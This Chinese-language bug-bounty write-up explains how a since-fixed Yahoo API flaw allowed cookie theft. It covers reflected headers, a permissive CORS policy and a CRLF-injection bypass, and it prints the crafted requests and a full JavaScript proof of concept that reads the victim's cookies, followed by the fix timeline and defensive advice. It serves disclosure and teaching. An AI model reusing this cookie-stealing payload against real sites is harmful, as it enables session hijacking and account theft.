挖洞经验 | 看我如何发现价值$10000美金的雅虎Cookie窃取漏洞
字数 1355 2025-08-18 11:36:57

雅虎Cookie窃取漏洞分析与利用教学文档

漏洞概述

本教学文档详细分析了一个价值$10,000美金的雅虎Cookie窃取漏洞,该漏洞通过绕过CORS(跨域资源共享)安全机制实现敏感信息窃取。

漏洞发现背景

  • 研究人员在学习Python过程中编写侦察脚本筛选雅虎子域名
  • 发现https://premium.advertising.yahoo.com与API服务https://api.advertising.yahoo.com交互
  • 交互涉及XmlHttpRequests和CORS技术

关键发现点

  1. 响应头反射:API端点/services/network/whoami会反射请求中的user agentAcceptCookie等头信息

  2. GET参数反射

    • 任意GET参数会被反射到响应头中
    • 示例请求:
      GET /services/network/whoami?Test=Try HTTP/1.1
      Host: api.advertising.yahoo.com
      
    • 响应:
      HTTP/1.1 401 Unauthorized
      Test: Try
      
  3. 宽松的CORS策略

    • 允许任意域名作为请求来源
    • 示例:
      GET /services/network/whoami HTTP/1.1
      Host: api.advertising.yahoo.com
      Origin: http://www.anydomain.com
      
    • 响应:
      HTTP/1.1 401 Unauthorized
      Access-Control-Allow-Origin: http://www.anydomain.com
      Access-Control-Allow-Credentials: True
      

技术限制与突破

  1. CORS默认限制

    • XMLHttpRequest默认只能获取6种响应头:
      • Cache-Control
      • Content-Language
      • Content-Type
      • Expires
      • Last-Modified
      • Pragma
  2. 暴露额外头信息

    • 需要通过Access-Control-Expose-Headers指定额外可访问的头信息
    • 初始尝试直接暴露Cookie失败(被黑名单拦截):
      GET /services/network/whoami?Access-Control-Expose-Headers=Cookie HTTP/1.1
      Host: api.advertising.yahoo.com
      

漏洞利用技术

  1. CRLF注入绕过

    • 使用回车换行符%0d%0a绕过过滤
    • 成功注入示例:
      GET /services/network/whoami?Access-Control-Expose-Header%0d%0as=Cookie
      Host: api.advertising.yahoo.com
      
    • 响应:
      HTTP/1.1 401 Unauthorized
      Access-Control-Expose-Headers: Cookie
      
  2. 完整利用代码

    <script>
    var getcookie = new XMLHttpRequest();
    var url = "https://api.advertising.yahoo.com/services/network/whoami?Access-Control-Expose-Header%0d%0as=Cookie";
    
    getcookie.onreadystatechange = function() {
        if(getcookie.readyState == getcookie.DONE) {
            document.write(getcookie.getResponseHeader("Cookie") + "<h1>I have stolen all your cookies");
        }
    }
    
    getcookie.open("GET",url,true);
    getcookie.withCredentials = true;
    getcookie.send();
    </script>
    

漏洞影响范围

  • 该漏洞不仅存在于广告API,还影响:
    • 雅虎邮箱服务
    • 其他services/requests架构的服务

漏洞修复时间线

  1. 2017年9月19日

    • 漏洞报告给雅虎安全团队
    • 半小时内分类并奖励初期$500奖金
    • 几小时内暂停受影响API服务
  2. 修复措施

    • 限制GET参数注入
    • 严格过滤Access-Control-Allow-Origin字段
    • 加强特殊字符构造的响应头过滤
  3. 2017年9月30日

    • 发放最终$9,500奖金

教学要点总结

  1. CORS安全机制理解

    • 理解Access-Control-Allow-OriginAccess-Control-Allow-Credentials的作用
    • 掌握Access-Control-Expose-Headers的使用场景
  2. CRLF注入技术

    • 了解%0d%0a在HTTP头注入中的作用
    • 掌握如何利用换行符绕过安全过滤
  3. 安全测试方法论

    • 从正常功能中发现异常行为
    • 逐步测试过滤机制的边界
    • 利用反射特性构造攻击向量
  4. 漏洞报告流程

    • 及时报告给厂商
    • 清晰描述漏洞细节和复现步骤
    • 配合厂商进行验证和修复

防御建议

  1. 对于开发者

    • 严格验证所有输入参数
    • 限制Access-Control-Allow-Origin为可信来源
    • 过滤所有HTTP头中的特殊字符
    • 避免敏感信息通过HTTP头传输
  2. 对于安全研究人员

    • 在合法授权范围内测试
    • 发现漏洞后及时报告厂商
    • 不公开漏洞细节直到修复完成

扩展学习资源

  1. CORS规范:MDN Web文档
  2. HTTP头注入技术:OWASP测试指南
  3. 漏洞披露流程:CERT/CC指南
雅虎Cookie窃取漏洞分析与利用教学文档 漏洞概述 本教学文档详细分析了一个价值$10,000美金的雅虎Cookie窃取漏洞,该漏洞通过绕过CORS(跨域资源共享)安全机制实现敏感信息窃取。 漏洞发现背景 研究人员在学习Python过程中编写侦察脚本筛选雅虎子域名 发现 https://premium.advertising.yahoo.com 与API服务 https://api.advertising.yahoo.com 交互 交互涉及XmlHttpRequests和CORS技术 关键发现点 响应头反射 :API端点 /services/network/whoami 会反射请求中的 user agent 、 Accept 和 Cookie 等头信息 GET参数反射 : 任意GET参数会被反射到响应头中 示例请求: 响应: 宽松的CORS策略 : 允许任意域名作为请求来源 示例: 响应: 技术限制与突破 CORS默认限制 : XMLHttpRequest默认只能获取6种响应头: Cache-Control Content-Language Content-Type Expires Last-Modified Pragma 暴露额外头信息 : 需要通过 Access-Control-Expose-Headers 指定额外可访问的头信息 初始尝试直接暴露Cookie失败(被黑名单拦截): 漏洞利用技术 CRLF注入绕过 : 使用回车换行符 %0d%0a 绕过过滤 成功注入示例: 响应: 完整利用代码 : 漏洞影响范围 该漏洞不仅存在于广告API,还影响: 雅虎邮箱服务 其他 services/requests 架构的服务 漏洞修复时间线 2017年9月19日 : 漏洞报告给雅虎安全团队 半小时内分类并奖励初期$500奖金 几小时内暂停受影响API服务 修复措施 : 限制GET参数注入 严格过滤 Access-Control-Allow-Origin 字段 加强特殊字符构造的响应头过滤 2017年9月30日 : 发放最终$9,500奖金 教学要点总结 CORS安全机制理解 : 理解 Access-Control-Allow-Origin 和 Access-Control-Allow-Credentials 的作用 掌握 Access-Control-Expose-Headers 的使用场景 CRLF注入技术 : 了解 %0d%0a 在HTTP头注入中的作用 掌握如何利用换行符绕过安全过滤 安全测试方法论 : 从正常功能中发现异常行为 逐步测试过滤机制的边界 利用反射特性构造攻击向量 漏洞报告流程 : 及时报告给厂商 清晰描述漏洞细节和复现步骤 配合厂商进行验证和修复 防御建议 对于开发者 : 严格验证所有输入参数 限制 Access-Control-Allow-Origin 为可信来源 过滤所有HTTP头中的特殊字符 避免敏感信息通过HTTP头传输 对于安全研究人员 : 在合法授权范围内测试 发现漏洞后及时报告厂商 不公开漏洞细节直到修复完成 扩展学习资源 CORS规范:MDN Web文档 HTTP头注入技术:OWASP测试指南 漏洞披露流程:CERT/CC指南